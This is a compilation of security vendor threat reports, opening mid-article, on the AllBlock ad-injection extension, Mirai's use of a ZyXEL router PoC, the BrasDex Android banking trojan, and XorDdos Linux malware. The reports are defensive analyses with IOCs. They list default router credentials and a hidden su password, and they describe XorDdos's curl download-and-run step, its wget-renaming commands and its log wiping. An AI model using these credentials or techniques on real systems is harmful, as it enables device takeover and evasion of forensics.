The malicious JavaScript code sends a request to a remote server (ratds.net) with the list of all domains the web page is redirecting to. Then, the server returns the list of domains it wants to replace the links of back to the browser, associated with a number.
In a variable called `e.hiddenHref`, the malicious JavaScript will store the replacing URL based on the information returned by the server ratds.net. When the user clicks on any modified links on the webpage, they will be redirected to an affiliate link. Via this affiliate fraud, the attacker earns money when specific actions like registration or sale of the product take place. The replacement integer will be included in the parameter of a new URL that will replace the original link with a new one following the pattern: `hxxps://ratds.net/replacement/click?place=&subid=&href=&replacement=&url=`. This page will then redirect to an affiliate link behind api.smartredirect.de that will enable the fraudsters to monetize users’ clicks.
Interestingly, in case the replacement field is set to 1, the server redirects to the allblock.net domain.
## Script Evasion Techniques
The malicious JavaScript file includes a mechanism to disturb analysis:
- It clears the debug console every 100ms.
- It detects debugging by searching for Firebug initialized variables.
In order to avoid detection, major search engines (with a focus on Russian engines) are excluded. Special attention is paid to rebuilding properly the URLs of several Russian websites because, in general, the URL of the requested resource can be altered by the redirection code.
We decided to download the associated Chrome Extension for analysis. Indeed, the Chrome extension leads to the same malicious behavior.
## A Deeper Look at AllBlock
If you were to quickly review the source code of the AllBlock extension, you would probably classify it as just another ad blocker. To make the extension look legitimate, the developers actually implemented ad blocking functionality. Further, the code was not obfuscated and nothing immediately screams malware.
However, upon close examination, the cracks start to show. It started when observing the background script “bg.js” was injecting a JavaScript code snippet into every new tab. The injected code would then immediately connect back to the extension using the standard browser → extension communication channel and listen for messages that would be parsed and executed as code. The developers made an effort to hide the fact they are executing the code by connecting a number of innocent-looking objects and variables together.
The “debug” receives a base64 encoded malicious code from the extension, decodes it, and proceeds to create a pointer to the native constructor method using the “k” variable. The malicious code is passed to the constructor and executed using the “new Promise” invocation on the “tryCatch” method.
Working our way back from that to find the malicious code was simple; the extension is making an HTTP request to allblock.net/api/stat/?id=nfofcmcpljmjdningbllljenopcmdhjf and receives a JSON response with two base64 encoded properties “data” and “urls”. The “data” property contains the malicious code and the “urls” property seems to be a list of known ads related resources the extension would block.
We do not believe we found the origin of the attack that led us to this discovery, likely because of the way the script was injected. The script we first observed was injected via a script tag pointing to a remote server where the AllBlock extension injects the malicious code directly to the active tab. This leads us to believe that there is a larger campaign taking place that may utilize different delivery methods and more extensions.
## The Impact of Ad Injection
Ad injection is an evolving threat that can impact almost any site. Attackers will use anything from browser extensions to malware and adware installed on visitors’ devices, making most site owners ill-equipped to handle such attacks.
When ad injection is used, the site performance and user experience are degraded, making websites slower and harder to use. According to Baymard Institute, 68.8% of online shopping carts are abandoned. There could be many reasons for this, but there is no denying that ad injection plays a key role in this as well. Other impacts of ad injection include loss of customer trust and loyalty, revenue loss from ad placements, blocked content, and diminished conversion rates.
## Conclusion
Malicious JavaScript files are still widespread on the Internet despite the effort from global companies to make the web safer. Imperva Client-Side Protection enables customers to block such malicious JavaScript threats. The solution provides security teams with visibility and insights into the JavaScript-based services running on their websites, as well as the ability to block unwanted services from executing.
## IOCs
**Domains**
- ratds.net
- catds.net
- itonus.net
- frgtylik.com
- metds.net
**IPs**
- 5.45.72.30
- 37.252.14.183
**Sha1**
- 341c116deeef845e4fcd2e4e2fef6ae9f45644c7 |
# Mirai Activity Picks up Once More After Publication of PoC Exploit Code
The publication of proof-of-concept (PoC) exploit code in a public vulnerabilities database has led to increased activity from Mirai-based IoT botnets, Li Fengpei, a security researcher with Qihoo 360 Netlab, told Bleeping Computer today. The exploit code was published online on October 31 but scans using this PoC started on Wednesday, November 22, according to a report Li shared with Bleeping Computer.
## PoC exploit targets ZyXEL PK50001Z routers
The PoC is for a vulnerability in the old ZyXEL PK5001Z routers that came to light in January 2016 on the OpenWrt forums. The vulnerability (CVE-2016-10401) is a hidden su (super-user) password on the affected ZyXEL devices that elevates a user's access to root level. This su password (zyad5001) is useless, as it cannot be used to log into the device.
Nonetheless, miscreants have discovered that there's a large amount of ZyXEL devices that have shipped to users that are using admin/CentryL1nk and admin/QwestM0dem as default Telnet credentials. The PoC published last month automates the process of logging into a remote ZyXEL device using one of the two Telnet passwords, and then uses the hardcoded su password to gain root privileges.
## Mirai botnet incorporates recent ZyXEL PoC
The PoC exploit code had Mirai written all over it the moment it was published online. This is because Mirai botnets are built by scanning the Internet for devices with exposed Telnet ports and using a list of default credentials to attempt to log into devices and install the Mirai DDoS malware. Starting on Wednesday, this is exactly what happened. For the past 60 hours, Li says Netlab has detected a spike of scans on ports 23 and 2323, both used for Telnet authentication. Attackers are using the above PoC to break into exposed devices and infect them with Mirai. Such a massive scan campaign did not go unnoticed. Independent security researcher Troy Mursch also reported a similar uptick in Mirai activity yesterday.
879 new unique IP addresses were found in the #Mirai-like #botnet on 2017-11-22. This is an all-time record for the most new unique IP address that I've seen added to the botnet in one day. A massive increase of volume from Argentina (@Telefonica) is largely the cause.
## Most new Mirai bots are located in Argentina
As both Netlab and Mursch have pointed out, most of the infected devices are from Argentina, and more precisely from the network of local ISP Telefonica de Argentina. Netlab says it detected around 100,000 IPs performing these scans in the past 60 hours. Since Mirai-infected devices perform the IP scanning and exploitation attempt, this is an approximate estimation of the number of bots in this Mirai botnet that's looking for vulnerable ZyXEL devices. NetLab says that around 65,700 of these bots were located in Argentina, a clear sign that the ISP has shipped devices with the default creds included in the public PoC.
The good news is that Mirai bots do not have a persistence mechanism in place, meaning they are removed when the router reboots. This is why Mirai botnets wildly vary in size from day to day, and why botnet herders need to be constantly scanning the Internet to keep their bot numbers up. This is also not the first time when a Mirai botnet has exploited flaws in one particular ISP's network to grow to a mammoth size. Similar incidents have happened in Germany and the UK in November and December 2016. The hacker behind those incidents deployed faulty Mirai malware versions that eventually brought down Internet services for ISP customers. Law enforcement tracked down, arrested, charged, and sentenced the hacker, named BestBuy (also known as Popopret).
There are no reports that Telefonica users are suffering from Internet connectivity outages, meaning users are not aware their devices are infected with the Mirai malware. |
# BrasDex: A New Brazilian ATS Android Banker with Ties to Desktop Malware
## A Varied and Wild Landscape
The mobile malware landscape of the LATAM region, specifically Brazil, has recently risen to prominence due to families like Brata and Amextroll, extending their reach to Europe. However, not all malware developed in South America targets the European market. ThreatFabric analysts discovered an ongoing multi-platform malware campaign targeting both mobile and desktop Brazilian users, with thousands of infections and an estimated loss of hundreds of thousands of Brazilian Reals (R$), corresponding to tens of thousands of USD.
This campaign involves a highly flexible novel Android malware dubbed BrasDex by ThreatFabric, featuring a complex keylogging system designed to abuse Accessibility Services to extract credentials from a set of Brazilian targeted apps, as well as a highly capable Automated Transfer System (ATS) engine. When analyzing BrasDex, our team found evidence of some desktop malware controlled through the same backend, including Casbaneiro, a well-known malware family active in Latin America.
## BrasDex: A Trend Switch Away from Overlay Attacks
The malware has been active for more than a year, initially posing as Android settings applications and targeting Brazilian banking applications. In its latest campaign, it started posing as a specific banking application (Banco Santander BR) while continuing to target the same subset of applications as its previous versions. BrasDex abuses accessibility services to keylog information input in the target application, moving away from traditional overlay attack mechanisms towards what seems to be the next standard in Android banking malware.
This follows a trend where different malware families have started abandoning overlays, which require continuous updates and additional downloaded data, in favor of more lean and flexible solutions. For example, Vultur performs screen-recording and accessibility logging, while Cabassous loads the real target login page in a browser controlled by the malware.
In most cases, malware families are starting to rely heavily on accessibility logging to exfiltrate logging credentials and other PII from infected victims. This is also the case for BrasDex, which can log not only credentials but also other important information, like account balance, and use it to perform a Device TakeOver (DTO), allowing criminals to perform fraudulent transactions using the infected device.
What sets BrasDex apart from many other malware families is its ATS capabilities. ATS allows malware to programmatically use the information stolen from the victim to initiate fraudulent transactions in an automated way, making the whole infection and fraud chain more flexible and scalable. ThreatFabric has mentioned ATS before as one of the most dangerous features present in modern malware, specifically when discussing Bankers such as Gustuff and SharkBot.
## Targets
BrasDex is strictly focused on the Brazilian market. The malware checks to ensure it only operates on devices from Brazil by programmatically verifying that the SIM used by the device is operating in Brazil. If the device has a SIM card from anywhere else, the malware shuts down and never contacts its C2 server. This dedication to a single market might be motivated by the fact that BrasDex uses its features to abuse a specific subset of transactions within the Brazilian banking ecosystem, specifically the Pix payment system.
Pix is a fast payment system from the Central Bank of Brazil that went live in 2020, allowing users to perform payments to others just by knowing their identifier (which can be an email, CPF, phone number, or random ID). ThreatFabric points out that the Pix system is not vulnerable; actors are not exploiting any vulnerabilities in the Pix System but rather abusing the fast payments system and known Android issues to make fraudulent transfers.
As of November 2022, Pix was reported to perform an average of more than 2 million monthly transactions, with a user base of over 120 million people. In November 2022 alone, Pix was used to perform transactions corresponding to a volume of more than one billion Brazilian Reals (R$), equating to over 180 million USD. For each targeted bank, the ATS script responsible for the fraudulent transfer performs it through the Pix technology, not the traditional bank transfer used by many other malware families.
## Capabilities
### Keylogging
The keylogging technique used by BrasDex abuses accessibility services privileges and can detect and log a large quantity of information from the Operating System. It logs and sends to its C2 all information shown on the device’s UI, including credentials typed by the user and other information displayed by the application, like account balance. If the foreground application is one of the banking applications included in the target list, BrasDex notifies its C2 of events such as opening the application, inserting passwords, or if it cannot extract the required information.
The malware notifies the C2 whenever one of the following events is detected:
- **START**: The banking application was started
- **PW**: Password typed (followed by the password as event value)
- **STUCK**: The malware encountered an error and is frozen
- **ABORT**: The malware aborted its operation for lack of permissions or outdated APIs
The logged message is formed in the following way: `<BANK_CODE>-<EVENT_TYPE>-<EVENT_VALUE>`.
### ATS
What sets this newly discovered malware family apart is its advanced and flexible ATS framework. First abused by Gustuff and enhanced with SharkBot, the Automated System Transfer allows the malware to programmatically use stolen credentials, detect available funds, and initiate and approve transactions from the infected device itself. In the case of BrasDex, the infected device receives multiple scripts, one per targeted application, containing all necessary steps to log in and perform fraud.
Each script consists of multiple actions, which include conditions required to initiate the actions and the actual actions executed by the malware. BrasDex can check for values and types of data contained in different fields of the UI, navigate within the UI, highlight and focus on wanted elements, wait a set amount of time, assign specific values to password fields or beneficiary fields, and click buttons within the app.
## Pix Transfer Example
BrasDex targets the Pix payment system to perform its fraud. The ATS script interacts with UI elements to successfully perform a transaction using Pix. The actions described in the ATS script include conditions to check for specific text and commands to click nodes and set values.
Once the malware inputs the necessary passwords to finalize the transaction, funds are transferred to the destination mule account.
## Panel
While investigating this malware family, ThreatFabric gained visibility of the Panel hosted on the C2 server. The panel contains multiple pages, including a list of infected devices with extensive information, logs obtained from infected devices, and reports of successful transactions. The main landing page reports extensive information about a different malware campaign targeting Desktop devices, leading to the connection between BrasDex and Casbaneiro.
## Casbaneiro: Old but Gold
The analysis of the drop points used to distribute BrasDex led to a campaign of desktop samples distributed through similar links in Q1 2022, identifying Casbaneiro, an infamous Windows banking Trojan discovered in 2018, as the partner of BrasDex. The latest desktop campaign was delivered through phishing emails about a failed delivery, pretending to be from the Brazilian postal service and containing a link to a form to be filled in.
When the victim clicked the link, a ZIP archive was downloaded, containing a Microsoft Software Installer package (MSI) with an obfuscated script that downloads the next stage of the malware. The final payload identified as Casbaneiro uses the same communication protocol, strings, and obfuscation mechanisms as previously described campaigns.
Casbaneiro is a Windows banking Trojan written in Delphi that targets users of online banking and desktop banking applications. It can collect data about the infected device, take screenshots, perform keylogging, and hijack clipboard data.
## Conclusion
Being independent and full-fledged malware families, BrasDex and Casbaneiro form a dangerous pair, allowing the actors behind them to target both Android and Windows users on a large scale. The emergence of convenient payment systems not only makes payments comfortable for customers but also opens opportunities for cybercriminals to use them for fraudulent operations. The BrasDex case highlights the necessity of fraud detection and prevention mechanisms on customer devices, as fraudulent payments made automatically with the help of ATS engines appear legitimate to bank backends and fraud scoring engines.
## Fraud Risk Suite
ThreatFabric’s Fraud Risk Suite enables safe and frictionless online customer journeys by integrating industry-leading mobile threat intel, behavioral analytics, advanced device fingerprinting, and over 10,000 adaptive fraud indicators. This provides peace of mind in an age of ever-changing fraud.
## Appendix
### BrasDex Samples
| App Name | Package Name | SHA256 |
|---------------|-----------------------------------|------------------------------------------------------------------------|
| GoogleDocs | com.mydocs.documents | 7747a9912e2605b64430a27e3c5af3556c26b4cb04c7242ca4e2cad5b6b33363 |
| GoogleDocs | com.mydocs.documents | 26ea3906cd0c724b0e0adb5b6c00144e59aa89aac18cd608c6e5a22c28c8d644 |
| Santander | com.mydocs.documents | b549733ed3b77d97c7b2f9f651f22abc4df50899c01612a28ec6809d1a2c0040 |
### BrasDex C2
- URL: brasdex[.]com
### BrasDex Targets
| Package Name | Application Name |
|----------------------------------|---------------------------------------------------------------|
| com.picpay | PicPay: Pagamentos, Transferências, Pix e Cashback |
| com.itau | Banco Itaú: Gerencie sua conta pelo celular |
| com.nu.production | Nubank |
| com.bradesco | Bradesco |
| br.com.gabba.Caixa | CAIXA |
| com.santander.app | Santander Brasil |
| br.com.original.bank | Banco Original |
| br.com.intermedium | Inter: conta digital completa |
| br.com.bb.android | Banco do Brasil |
| com.binance.dev | Binance (not fully developed ATS Script) |
### BrasDex Conditions
| Conditions | Description |
|----------------------------------|--------------------------------------------------------------|
| enabled | Is enabled |
| textEqL | Text is equal (lowercase) |
| prevNodeDescC | Previous Node Description contains string s |
| descCL | Node Description contains |
| descEq | Node Description equals |
| prevNodeTextC | Previous Node Description contains |
| getBlc | Get balance value |
| prevNodeTextEqL | Previous node text equals (lowercase) |
| textCL | Text contains (lowercase) |
| textEq | Text equals |
| getChildsChildDesc | Get description of child of child node |
| getChildsChildText | Get text of child of child node |
| isClickable | Node is clickable |
| clickNodeVerify | Click node passed as parameter |
| getChildDesc | Get child node description |
| getChildText | Get child node text |
| className | Get className |
| acc | Check type of account (EMAIL, CPF, CEL) |
| blc | Check balance |
| clickNodeParentVerify | Click parent node |
| isParentClickable | Is parent node clickable |
| descC | Description contains |
| hintC | Hint contains |
| isNum | Is number |
| noBlc | Check if no balance |
| textC | Text contains |
| disabled | Is disabled |
| resName | Get view id resource name |
| prevNodeDescCL | Previous node description contains lowercase |
| prevNodeDescEq | Previous node description equals |
| prevNodeTextCL | Previous node text contains lowercase |
| prevNodeTextEq | Previous node text equals |
| getCounter | Get saved value of specified string |
| clickCurrentNodeVerify | Click current node |
| isStuck | Check if engine is stuck on some action (100 secs) |
| getNodeListSize | Get node list size |
### BrasDex Actions
| Actions | Description |
|----------------------------------|--------------------------------------------------------------|
| BRASetVal | Set value for com.bradesco |
| clickNode | Click node |
| addCounter | Create/add new counter |
| ORISetVal | Set value for br.com.original.bank |
| template | Set colors for template to overlay |
| finish | Finish execution and send data to C2 |
| addNode | Add node to node list |
| clickNodesParent | Click nodes parent |
| clickCurrentNode | Click current node |
| return | Stops recursive search in nodes |
| setAcc | Set account |
| setBlc | Set balance value (from either text or description) |
| NUSetVal | Set value for com.nu.production |
| INTSetVal | Set value for br.com.intermedium |
| clickCurrentsChildNode | Click current node child |
| CXSetVal | Set value for br.com.gabba.Caixa |
| SetPwCharAt | Set password char by char |
| act | Give accessibility focus to the node |
| back | Press back |
| home | Press home |
| next | Press next |
| wait | Wait set time |
| setPw | Set password value |
| increaseCounter | Increase specified counter by one |
| logTemplate | Present window to log specific data |
| SANSetVal | Set value for com.santander.app |
| focusCurrentNode | Get action focus to the current node |
| recents | Press recents |
| setBlcBB | Set balance value for banco do brasil bank |
| ITASetVal | Set value for com.itau |
| focusNode | Get action focus to the specified node |
| sleepTolerance | Set sleep tolerance before aborting |
| setBlc2 | Set balance value (from either text or description)2 |
### Casbaneiro Samples
| SHA256 |
|---------------------------------------------------------------------|
| 5a3b2128c550829ab357abd7c830506df73893e204a8e2578fc1e61a72de3df5 |
| 519d76eb6fea8b1a699c3a543b5f5eafab883ed92f6d207b8fa0189482b72ba1 | |
# Rise in XorDdos: A Deeper Look at the Stealthy DDoS Malware Targeting Linux Devices
In the last six months, we observed a 254% increase in activity from a Linux trojan called XorDdos. First discovered in 2014 by the research group MalwareMustDie, XorDdos was named after its denial-of-service-related activities on Linux endpoints and servers as well as its usage of XOR-based encryption for its communications.
XorDdos depicts the trend of malware increasingly targeting Linux-based operating systems, which are commonly deployed on cloud infrastructures and Internet of Things (IoT) devices. By compromising IoT and other internet-connected devices, XorDdos amasses botnets that can be used to carry out distributed denial-of-service (DDoS) attacks. Using a botnet to perform DDoS attacks can potentially create significant disruptions, such as the 2.4 Tbps DDoS attack Microsoft mitigated in August 2021. DDoS attacks can be highly problematic for numerous reasons, but such attacks can also be used as cover to hide further malicious activities, like deploying malware and infiltrating target systems.
Botnets can also be used to compromise other devices, and XorDdos is known for using Secure Shell (SSH) brute force attacks to gain remote control on target devices. SSH is one of the most common protocols in IT infrastructures and enables encrypted communications over insecure networks for remote system administration purposes, making it an attractive vector for attackers. Once XorDdos identifies valid SSH credentials, it uses root privileges to run a script that downloads and installs XorDdos on the target device.
XorDdos uses evasion and persistence mechanisms that allow its operations to remain robust and stealthy. Its evasion capabilities include obfuscating the malware’s activities, evading rule-based detection mechanisms and hash-based malicious file lookup, as well as using anti-forensic techniques to break process tree-based analysis. We observed in recent campaigns that XorDdos hides malicious activities from analysis by overwriting sensitive files with a null byte. It also includes various persistence mechanisms to support different Linux distributions.
XorDdos may further illustrate another trend observed in various platforms, in which malware is used to deliver other dangerous threats. We found that devices first infected with XorDdos were later infected with additional malware such as the Tsunami backdoor, which further deploys the XMRig coin miner. While we did not observe XorDdos directly installing and distributing secondary payloads like Tsunami, it’s possible that the trojan is leveraged as a vector for follow-on activities.
Microsoft Defender for Endpoint protects against XorDdos by detecting and remediating the trojan’s multi-stage, modular attacks throughout its entire attack chain and any potential follow-on activities on endpoints. In this blog post, we detail our in-depth analysis of XorDdos to help defenders understand its techniques and protect their networks from this stealthy malware.
## Initial Access
XorDdos propagates primarily via SSH brute force. It uses a malicious shell script to try various root credential combinations across thousands of servers until finding a match on a target Linux device. As a result, we see many failed sign-in attempts on devices successfully infected by the malware.
Our analysis determined two of XorDdos’ methods for initial access. The first method involves copying a malicious ELF file to temporary file storage `/dev/shm` and then running it. Files written at `/dev/shm` are deleted during system restart, thus concealing the source of infection during forensic analysis.
The second method involves running a bash script that performs the following activities via the command line:
1. Iterates the following folders to find a writable directory:
- `/bin`
- `/home`
- `/root`
- `/tmp`
- `/usr`
- `/etc`
2. If a writable directory is found, changes the working directory to the discovered writable directory.
3. Uses the curl command to download the ELF file payload from the remote location `hxxp://Ipv4PII_777789ffaa5b68638cdaea8ecfa10b24b326ed7d/1[.]txt` and saves the file as `ygljglkjgfg0`.
4. Changes the file mode to “executable”.
5. Runs the ELF file payload.
6. Moves and renames the Wget binary to evade rule-based detections triggered by malicious usage of the Wget binary. In this case, it renames the Wget binary to `good` and moves the file to the following locations:
- `mv /usr/bin/wget /usr/bin/good`
- `mv /bin/wget /bin/good`
7. Attempts to download the ELF file payload for a second time, now only using the file `good` and not the Wget binary.
8. After running the ELF file, uses an anti-forensic technique that hides its past activity by overwriting the content of the following sensitive files with a newline character:
| Sensitive File | Description |
|---------------------------|-----------------------------------------------------------------------------|
| `/root/.bash_history` | Contains the commands that were run earlier |
| `/var/log/wtmp` | Contains login related record for users |
| `/var/log/btmp` | Contains record of failed login attempts |
| `/var/log/lastlog` | Contains the recent login information for users |
| `/var/log/secure` | Contains information related to security such as logs for authentication failure, sudo logins, and authorization privileges |
| `/var/log/boot.log` | Contains information related to system boot and message logged via system startup processes |
| `/var/log/cron` | Contains information related to cron job launch, success and failure error logs |
| `/var/log/dmesg` | Contains information related to kernel ring buffer messages, hardware devices, drivers, etc. |
| `/var/log/firewalld` | Contains logs related to firewall activities |
| `/var/log/maillog` | Contains information related to a mail server running on the system |
| `/var/log/messages` | Contains generic system activity messages |
| `/var/log/spooler` | Contains messages from usenet |
| `/var/log/syslog` | Contains generic system activity messages |
| `/var/log/yum.log` | Contains the package logs related to installation/remove/update activities done via yum utility |
Whichever initial access method is used, the result is the same: the running of a malicious ELF file, which is the XorDdos malware.
## XorDdos Payload Analysis
The XorDdos payload we analyzed for this research is a 32-bit ELF file that was not stripped, meaning it contained debug symbols that detailed the malware’s dedicated code for each of its activities. The inclusion of debug symbols makes it easier to debug and reverse engineer non-stripped binaries, as compared to stripped binaries that discard these symbols. In this case, the non-stripped binary includes the following source-code file names associated with the symbol table entries as part of the `.strtab` section in the ELF file:
- `crtstuff.c`
- `autorun.c`
- `crc32.c`
- `encrypt.c`
- `execpacket.c`
- `buildnet.c`
- `hide.c`
- `http.c`
- `kill.c`
- `main.c`
- `proc.c`
- `socket.c`
- `tcp.c`
- `thread.c`
- `findip.c`
- `dns.c`
The above list of source-code file names indicates that the binary is programmed in C/C++ and that its code is modular.
### Detection Evasion Capabilities
XorDdos contains modules with specific functionalities to evade detection, as detailed below.
#### Daemon Processes
A daemon process is a process that runs in the background rather than under the control of users and detaches itself from the controlling terminal, terminating only when the system is shut down. Similar to some Linux malware families, the XorDdos trojan uses daemon processes to break process tree-based analysis:
1. The malware calls the subroutine `daemon(__nochdir, __noclose)` to set itself as a background daemon process, which internally calls `fork()` and `setsid()`. The `fork()` API creates a new child process with the same process group-id as the calling process.
2. After the successful call to the `fork()` API, the parent stops itself by returning “EXIT_SUCCESS (0)”. The purpose is to ensure that the child process is not a group process leader, which is a prerequisite for the `setsid()` API call to be successful. It then calls `setsid()` to detach itself from the controlling terminal.
3. The daemon subroutine also has a provision to change the directory to the root directory (“/”) if the first parameter `__nochdir` is called with a value equal to “0”. One reason for the daemon process to change the directory to the root partition (“/”) is because running the process from the mounted file system prevents unmounting unless the process is stopped.
4. It passes the second parameter `__noclose` as “0” to redirect standard input, standard output, and standard error to `/dev/null`. It does this by calling `dup2` on the file descriptor for `/dev/null`.
5. The malware calls multiple signal APIs to ignore a possible signal from the controlling terminal and detach the current process from the standard stream and HangUp signals (SIGHUP) when the terminal session is disconnected. Performing this evasive signal suppression helps stop the effects of standard libraries trying to write to standard output or standard error, or trying to read from standard input, which could stop the malware’s child process. The API `signal()` sets the disposition of the signal `signum` to the handler, which is either `SIG_IGN`, `SIG_DFL`, or the address of a programmer-defined signal handler. In this case, the second parameter is set to “SIG_IGN=1”, which ignores the signal corresponding to `signum`.
#### XOR-based Encryption
As its name suggests, XorDdos uses XOR-based encryption to obfuscate data. It calls the `dec_conf` function to decode encoded strings using the XOR key “BB2FA36AAA9541F0”. The table below shows the decoded values of the obfuscated data used across the malware’s various modules to conduct its activities.
| Encrypted Strings | Decoded Value |
|--------------------------------------|-----------------------------------|
| `m7A4nQ_/nA` | `/usr/bin/` |
| `m [(n3` | `/bin/` |
| `m6_6n3` | `/tmp/` |
| `m4S4nAC/n&ZV\x1aA/TB` | `/var/run/gcc.pid` |
| `m.[$n__#4%\C\x1aB]0` | `/lib/libudev.so` |
| `m.[$n3` | `/lib/` |
| `m4S4nAC/nA` | `/var/run/` |
| `!#Ff3VE.-7\x17V[_` | `cat resolv.conf` |
| `<Encrypted_Remote_URL>` | `hxxp://aa.hostasa[.]org/config.rar` |
#### Process Name Spoofing
When a process is launched, arguments are provided to its main function as null-terminated strings, where the first argument is always the process image path. To spoof its process name, XorDdos zeroes out all argument buffers while running and overrides its first argument buffer containing the image path with a fake command line, such as `cat resolv.conf`.
#### Kernel Rootkit
Some XorDdos samples install a kernel rootkit. A rootkit is a kernel module that hides the presence of malicious code by modifying operating systems data structures. The XorDdos kernel rootkit generally has the following capabilities:
- Provide root access
- Hide the kernel module
- Hide the malware’s processes
- Hide the malware’s network connections and ports
Based on the debug symbols found in the rootkit, it’s likely that XorDdos’ rootkit code was inspired by an open-source project called rooty. The following table describes the symbols found in the rootkit and their corresponding functionalities:
| Function Name | Description |
|----------------------------|-----------------------------------------------------------------------------|
| `give_root` | Provides a root privilege by setting a new set of credentials and assigning its UID, GID to “0” |
| `module_hide` | Hides the rootkit kernel module |
| `module_show` | Unhides the rootkit kernel module |
| `get_udp_seq_show` | Hides the UDP4 connection by hooking `/proc/net/udp` and UDP6 connection by hooking `/proc/net/udp6` |
| `get_tcp_seq_show` | Hides the TCP4 connection by hooking `/proc/net/tcp` and TCP6 connection by hooking `/proc/net/tcp6` |
| `hide_udp4_port` | Adds a provided port to a list of hidden UDP4 ports |
| `unhide_udp4_port` | Deletes a provided port from a list of hidden UDP4 ports |
| `hide_udp6_port` | Adds a provided port to a list of hidden UDP6 ports |
| `unhide_udp6_port` | Deletes a provided port from a list of hidden UDP6 ports |
| `hide_tcp4_port` | Adds a provided port to a list of hidden TCP4 ports |
| `unhide_tcp4_port` | Deletes a provided port from a list of hidden TCP4 ports |
| `hide_tcp6_port` | Adds a provided port to a list of hidden TCP6 ports |
| `unhide_tcp6_port` | Deletes a provided port from a list of hidden TCP6 ports |
| `unhide_allz` | Iterates list of all hidden ports and deletes all entries |
### Process and Port Hiding
The malware tries to hide its processes and ports using its kernel rootkit component. Hiding a process assists the malware in evading rule-based detections. The `/proc` filesystem contains information related to all running processes. A user-mode process can get any process-specific information by reading the `/proc` directory that contains the subdirectory for each running process on the system, such as:
- `/proc/7728` – Contains process-id (PID) 7728-related information
- `/proc/698` – Contains PID 698-related information
Running the `strace -e open ps` command checks the traces of the open call on `/proc/$pid` to fetch information on running processes as part of the ps command.
If the malware hides the `$pid` specific directory, it can conceal fetching the corresponding process from user mode. In this case, the malware has a provision for communicating with its rootkit component `/proc/rs_dev` by sending input and output control (IOCTL) calls with additional information to take appropriate action. IOCTL is one way to communicate between the user-mode service and kernel device driver. The malware uses the number “0x9748712” to uniquely identify its IOCTL calls from other IOCTL calls in the system. Along with this number, it also passes an integer array. The first entry in the array corresponds to the command, and the second entry stores the value to act on, such as `$pid`.
| Command | Usage |
|---------|--------------------------------------------|
| 0 | Check if its rootkit driver is present |
| 1, 2 | Hide or unhide `<PID>` |
| 3 | Hide `<port>` |
### Persistence Mechanisms
XorDdos uses various persistence mechanisms to support different Linux distributions when automatically launching upon system startup, as detailed below.
#### Init Script
The malware drops an init script at the location `/etc/init.d`. Init scripts are startup scripts used to run any program when the system starts up. They follow the Linux Standard Base (LSB)-style header section to include default runlevels, descriptions, and dependencies.
#### Cron Script
The malware creates a cron script at the location `/etc/cron.hourly/gcc.sh`. The cron script passes parameters with the following content:
It then creates a `/etc/crontab` file to run `/etc/cron.hourly/gcc.sh` every three minutes.
#### System V Runlevel
A runlevel is a mode of init and the system that specifies what system services are operating for Unix System V-Style operating systems. Runlevels contain a value, typically numbered zero through six, which each designate a different system configuration and allows access to a different combination of processes. Some system administrators set a system’s default runlevel according to their needs or use runlevels to identify which subsystems are working, such as whether the network is operational. The `/etc/rc<run_level>` directory contains symbolic links (symlinks), which are soft links that point to the original file. These symlinks point to the scripts that should run at the specified runlevel.
The malware creates a symlink for the init script dropped at the location `/etc/init.d/<base_file_name>` with the directories associated with runlevels 1 through 5 at `/etc/rc<run_level>.d/S90<base_file_name>` and `/etc/rc.d/rc<run_level>.d/S90<base_file_name>`.
#### Auto-start Services
The malware runs a command to install startup services that automatically run XorDdos at boot. The malware’s `LinuxExec_Argv2` subroutine runs the system API with the provided arguments. The commands `chkconfig –add <service_name>` and `update-rc.d` then add a service that starts the daemon process at boot.
### Argument-based Code-flow
XorDdos has specific code paths corresponding to the number of arguments provided to the program. This flexibility makes its operation more robust and stealthy. The malware first runs without any argument and then later runs another instance with different arguments, such as PIDs and fake commands, to perform capabilities like clean-up, spoofing, and persistence.
Before handling the argument-based control, it calls the `readlink` API with the first parameter as `/proc/self/exe` to fetch its full process path. The full path is used later to create auto-start service entries and read the file’s content.
#### 1: Standard Code Path Without Any Provided Arguments
This code path depicts the malware’s standard workflow, which is also the typical workflow where XorDdos runs as part of the entries created in system start-up locations. The malware first checks whether it’s running from the locations `/usr/bin/`, `/bin/`, or `/tmp/`. If it’s not running from these locations, then it creates and copies itself using a 10-character string name on those locations, as well as `/lib/` and `/var/run/`.
It also creates a copy of itself at the location `/lib/libudev.so`. To evade hash-based malicious file lookup, it performs the following steps, which modify the file hash to make every file unique:
- Opens the file for writing only
- Calls `lseek(fd, 0, SEEK_END)` to point at the last position in the file
- Creates a random 10-character string
- Writes the string at the end of the file with an additional null byte
After modifying the file, it runs the binary, performs a double `fork()`, and deletes its file from the disk.
#### 2: Clean-up Code Path
In this code path, the malware runs with another argument provided as the PID, for example:
`/usr/bin/jwvwvxoupv 4849`
Using the above example, the malware shares the 64-byte size memory segment with the IPC key “0xDA718716” to check for another malware process provided as an argument. If not found, it runs its own binary without any argument and calls the `fork()` API twice to make sure the grandchild process has no parent. This results in the grandchild process being adopted by the init process, which disconnects it from the process tree and acts as an anti-forensic technique.
Additionally, it performs the following tasks on a provided `$pid`:
- Fetches the process file name corresponding to the provided `$pid`
- Deletes the file for the provided `$pid`
- Deletes the installed init services:
- Deletes `/etc/init.d/<file_name>`
- For runlevels 1-5, unlinks and deletes `/etc/rc<runlevel>.d/S90<file_name>`
- Performs the command `chkconfig –del <file_name>`
- Performs the command `update-rc.d <file_name> remove`
- Ends the process that was provided as an argument.
#### 3: Process Name Spoofing Code Path
The malware spawns new dropped binaries with two additional arguments: a fake command line and its PIDs, for example:
- `/usr/bin/jwvwvxoupv “cat resolv.conf” 4849`
- `/usr/bin/jwvwvxoupv gnome-terminal 4849`
- `/usr/bin/jwvwvxoupv top 4849`
- `/usr/bin/jwvwvxoupv pwd 4849`
- `/usr/bin/kagbjahdic id 4849`
The fake commands can include:
- `cat resolv.conf`
- `netstat -an`
- `bash`
- `whoami`
- `id`
- `cd /etc`
- `ifconfig eth0`
- `ifconfig`
- `echo “find”`
- `uptime`
- `sh`
- `top`
- `gnome-terminal`
- `su`
- `netstat -antop`
- `grep “A”`
- `who`
- `ls -la`
- `pwd`
- `route -n`
- `ps -ef`
- `ls`
- `sleep 1`
In this code path, the malware uses process name spoofing to hide from the process tree by modifying its fake command line at runtime. It then hides its process by calling `HidePidPort` with command “1” and reads the content of the file on disk related to the current process.
It then enters a five-second loop to perform the following checks:
- Fetches the file name specific to the `$pid` provided as part of the third argument by calling the `readlink` API on `/proc/$pid/exe`.
